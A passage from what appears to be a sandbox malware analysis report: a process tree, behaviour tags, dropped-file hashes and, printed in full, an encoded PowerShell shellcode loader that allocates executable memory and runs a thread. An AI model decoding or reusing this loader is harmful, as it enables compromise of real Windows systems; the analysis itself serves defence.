AHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHUANwBzAHEAIAAkAHEAbwBPAHcAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAcQBvAE8AdwAgACQAZQAiADsAfQA=3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JABKAEEARwAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEoAQQBHACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGQAOQAsADAAeABjADYALAAwAHgAYgA4ACwAMAB4AGEAMwAsADAAeABjAGEALAAwAHgAYQA4ACwAMAB4AGIAYgAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBkACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADQAYgAsADAAeAA4ADMALAAwAHgAZQBkACwAMAB4AGYAYwAsADAAeAAzADEALAAwAHgANAA1ACwAMAB4ADEAMwAsADAAeAAwADMALAAwAHgAZQA2ACwAMAB4AGQAOQAsADAAeAA0AGEALAAwAHgANABlACwAMAB4ADEANAAsADAAeAAzADUALAAwAHgAMAA1ACwAMAB4AGIAMQAsADAAeABlADQALAAwAHgAYwA2ACwAMAB4ADcAYQAsADAAeAAzAGIALAAwAHgAMAAxACwAMAB4AGYANwAsADAAeABhADgALAAwAHgANQBmACwAMAB4ADQAMgAsADAAeABhAGEALAAwAHgANwBjACwAMAB4ADIAYgAsADAAeAAwADYALAAwAHgANAA3ACwAMAB4AGYANgAsADAAeAA3ADkALAAwAHgAYgAyACwAMAB4AGQAYwAsADAAeAA3AGEALAAwAHgANQA2ACwAMAB4AGIANQAsADAAeAA1ADUALAAwAHgAMwAwACwAMAB4ADgAMAAsADAAeABmADgALAAwAHgANgA2ACwAMAB4AGYANAAsADAAeAAwAGMALAAwAHgANQA2ACwAMAB4AGEANAAsADAAeAA5ADYALAAwAHgAZgAwACwAMAB4AGEANAAsADAAeABmADkALAAwAHgANwA4ACwAMAB4AGMAOAAsADAAeAA2ADcALAAwAHgAMABjACwAMAB4ADcAOAAsADAAeAAwAGQALAAwAHgAMwBlACwAMAB4ADcAYQAsADAAeAA5ADUALAAwAHgAYwAzACwAMAB4ADkANwAsADAAeAAwAGYALAAwAHgAMwBiACwAMAB4AGYANAAsADAAeAA5AGMALAAwAHgANQAyACwAMAB4ADgAMAAsADAAeABmADUALAAwAHgANwAyACwAMAB4AGQAOQAsADAAeABiADgALAAwAHgAOABkACwAMAB4AGYANwAsADAAeAAxAGUALAAwAHgANABjACwAMAB4ADIAMgAsADAAeABmADYALAAwAHgANABlACwAMAB4ADIANgAsADAAeABmADIALAAwAHgAZQAwACwAMAB4AGUANQAsADAAeAA2ADEALAAwAHgAMgAzACwAMAB4ADEAMQAsADAAeAAyADkALAAwAHgAYwAxACwAMAB4AGEANgAsADAAeABkADgALAAwAHgAYgA5ACwAMAB4AGQAZQAsADAAeAA5ADkALAAwAHgAMgA1ACwAMAB4ADAAOAAsADAAeAA5ADQALAAwAHgAZQBlACwAMAB4ADUAMgAsADAAeAA4AGEALAAwAHgANwBjACwAMAB4ADMAZgAsADAAeABhADQALAAwAHgAMgAxACwAMAB4ADQAMQAsADAAeAA4AGYALAAwAHgAMgA5ACwAMAB4ADMAYgAsADAAeAA4ADUALAAwAHgAMgA4ACwAMAB4AGQAMQAsADAAeAA0AGUALAAwAHgAZgBkACwAMAB4ADQAYQAsADAAeAA2AGMALAAwAHgANAA5ACwAMAB4AGMANgAsADAAeAAzADEALAAwAHgAYQBhACwAMAB4AGQAYwAsADAAeABkADkALAAwAHgAOQAyACwAMAB4ADMAOQAsADAAeAA0ADYALAAwAHgAMwBlACwAMAB4ADIAMgAsADAAeABlAGUALAAwAHgAMQAxACwAMAB4AGIANQAsADAAeAAyADgALAAwAHgANQBiACwAMAB4ADUANQAsADAAeAA5ADEALAAwAHgAMgBjACwAMAB4ADUAYQAsADAAeABiAGEALAAwAHgAYQA5ACwAMAB4ADQAOQAsADAAeABkADcALAAwAHgAMwBkACwAMAB4ADcAZQAsADAAeABkADgALAAwAHgAYQAzACwAMAB4ADEAOQAsADAAeAA1AGEALAAwAHgAOAAwACwAMAB4ADcAMAAsADAAeAAwADMALAAwAHgAZgBiACwAMAB4ADYAYwAsADAAeABkADcALAAwAHgAMwBjACwAMAB4ADEAYgAsADAAeABjADgALAAwAHgAOAA4ACwAMAB4ADkAOAAsADAAeAA1ADcALAAwAHgAZgBiACwAMAB4AGQAZgAsADAAeAA5AGQALAAwAHgAOQA3ACwAMAB4ADAAMwAsADAAeABlADAALAAwAHgAYwAzACwAMAB4ADAAZgAsADAAeABjAGYALAAwAHgAMgBjACwAMAB4AGYAYwAsADAAeABjAGYALAAwAHgANAA3ACwAMAB4ADIANwAsADAAeAA4AGYALAAwAHgAZgBkACwAMAB4AGMAOAAsADAAeAA5ADMALAAwAHgAMAA3ACwAMAB4ADQAZQAsADAAeAA4ADAALAAwAHgAMwBkACwAMAB4AGQAZgAsADAAeABjADcALAAwAHgAOAA2ACwAMAB4AGIAZQAsADAAeAAwAGYALAAwAHgANgBmACwAMAB4AGMANgAsADAAeAA0ADEALAAwAHgAYgAwACwAMAB4ADkAMAAsADAAeABjAGUALAAwAHgAOAA1ACwAMAB4AGUANAAsADAAeABjADAALAAwAHgANwA4ACwAMAB4ADIAYwAsADAAeAA4ADUALAAwAHgAOABhACwAMAB4ADcAOAAsADAAeABkADEALAAwAHgANQAwACwAMAB4ADIANgAsADAAeAA3ADMALAAwAHgANAA1ACwAMAB4ADkAYgAsADAAeAAxAGYALAAwAHgAMwAxACwAMAB4AGIAMQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMANgAsADAAeAA5AGUALAAwAHgAOABjACwAMAB4AGUAYgAsADAAeABkADAALAAwAHgAYgAwACwAMAB4AGMAMgAsADAAeABiAGIALAAwAHgANABjACwAMAB4ADcAMAAsADAAeABiADMALAAwAHgANwBiACwAMAB4ADMAZAAsADAAeAAxADgALAAwAHgAZAA5ACwAMAB4ADcAMwAsADAAeAA2ADIALAAwAHgAMwA4ACwAMAB4AGUAMgAsADAAeAA1ADkALAAwAHgAMABiACwAMAB4AGQAMgAsADAAeAAwAGQALAAwAHgAMwA0ACwAMAB4ADYAMwAsADAAeAA0AGEALAAwAHgAYgA3ACwAMAB4ADEAZAAsADAAeABmAGYALAAwAHgAZQBiACwAMAB4ADMAOAAsADAAeAA4ADgALAAwAHgAOAA1ACwAMAB4ADIAYgAsADAAeABiADIALAAwAHgAMwBmACwAMAB4ADcAOQAsADAAeABlADUALAAwAHgAMwAzACwAMAB4ADMANQAsADAAeAA2ADkALAAwAHgAOQAxACwAMAB4AGIAMwAsADAAeAAwADAALAAwAHgAZAAzACwAMAB4ADMANwAsADAAeABjAGIALAAwAHgAYgBlACwAMAB4ADcAZQAsADAAeABiADcALAAwAHgANQA5ACwAMAB4ADQANQAsADAAeAAyADkALAAwAHgAZQAwACwAMAB4AGYANQAsADAAeAA0ADcALAAwAHgAMABjACwAMAB4AGMANgAsADAAeAA1ADkALAAwAHgAYgA3ACwAMAB4ADcAYgAsADAAeAA1AGQALAAwAHgANQAzACwAMAB4ADIAZAAsADAAeABjADQALAAwAHgAMAA5ACwAMAB4ADkAYwAsADAAeABhADEALAAwAHgAYwA0ACwAMAB4AGMAOQAsADAAeABjAGEALAAwAHgAYQBiACwAMAB4AGMANAAsADAAeABhADEALAAwAHgAYQBhACwAMAB4ADgAZgAsADAAeAA5ADYALAAwAHgAZAA0ACwAMAB4AGIANAAsADAAeAAwADUALAAwAHgAOABiACwAMAB4ADQANQAsADAAeAAyADEALAAwAHgAYQA2ACwAMAB4AGYAYQAsADAAeAAzAGEALAAwAHgAZQAyACwAMAB4AGMAZQAsADAAeAAwADAALAAwAHgANgA1ACwAMAB4AGMANAAsADAAeAA1ADAALAAwAHgAZgBhACwAMAB4ADQAMAAsADAAeABkADQALAAwAHgAYQBkACwAMAB4ADIAZAAsADAAeABhAGMALAAwAHgAYQAyACwAMAB4AGQAZgAsADAAeABlAGQAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAHkANgBFAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB5ADYARQAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeQA2AEUALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsA4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3568 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnoo2czy\hnoo2czy.cmdline"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7A31.tmp" "c:\Users\Admin\AppData\Local\Temp\hnoo2czy\CSC42166089C90A4CAEA61F3C32E6438DE.TMP"6⤵
- System Location Discovery: System Language Discovery
PID:1156
-
-
-
-
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.131⤵
- Modifies registry class
PID:4044
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\bad1592d-6b38-445f-8b98-8d7de534ef1d.down_data
Filesize555KB
MD55683c0028832cae4ef93ca39c8ac5029
SHA1248755e4e1db552e0b6f8651b04ca6d1b31a86fb
SHA256855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e
SHA512aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3
-
Filesize
1KB
MD5dd2a1200621bb28ff0444e4364553ba7
SHA163461c6309d3c05009abc784aa0a4d914b835d09
SHA2567e884e0d331c3b5c78833a32cb2c50899f241ecd9612895922cb895f77374b0b
SHA512e6d87ff695eeef7d436b7818f80d0cfc85f0898e88f1181f5fa96693bb1e870edb5fca6acb13668899ab20d0d100b4db2dfea26806ecabbfc66f742340085b28
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3KB
MD5569c7dc58d474c973b7c479aa72f057a
SHA14275520e1019b124c2a51376a52843c5a97185af
SHA256b551f2f0b0a45edff84cbb27da367f7879fbade86024803f6495c876671653d4
SHA51268022d79a97d616bf3424e3647d5389caca135485196a3a1533db4c0108501354338b41560f10500fc453caadb405aeccc10f85884dc5385a13fe8f814033962
-
Filesize
652B
MD5e985ac51a4163598dbab175460b2450f
SHA1095ba33a8df03efc062aa653f3c40f5f2453ff4c
SHA256bfa0ff37f6422fffa1327217dde70f071ca46d84dc88ab4a14ec4e4367b2f0be
SHA5125c016829f554deedd10b46efaa8e17e5fd7f6d7d17f2ad49973340e6fb6e3928df050be2c9bd999882f40f2dba7353f50c2db64144a23fff13839b6f69bedb6e
-
Filesize
557B
MD57319070c34daa5f6f2ece2dfc07119ee
SHA1f26a4a48518a5608e93c8b77368f588b0433973c
SHA256b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc
SHA51234169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd
-
Filesize
369B
MD596bf864d3b02d1e7e9a286d58851cb6b
SHA1aa6f0e4134931b348674cdd3f81a67af6a3ae127
SHA256e2feff0ffa0b7fc1badf5684aec93cac55825f4493eefb0836a34be0ea6f193f
SHA512ef22cb0f788e86b704416dd7b4336646c014244d57e9adcc7b1dc446353eea9e2c61c6df00a0e9438f4897c556a62aef7049fc7a7d6f1ded9b8281c65cef4db3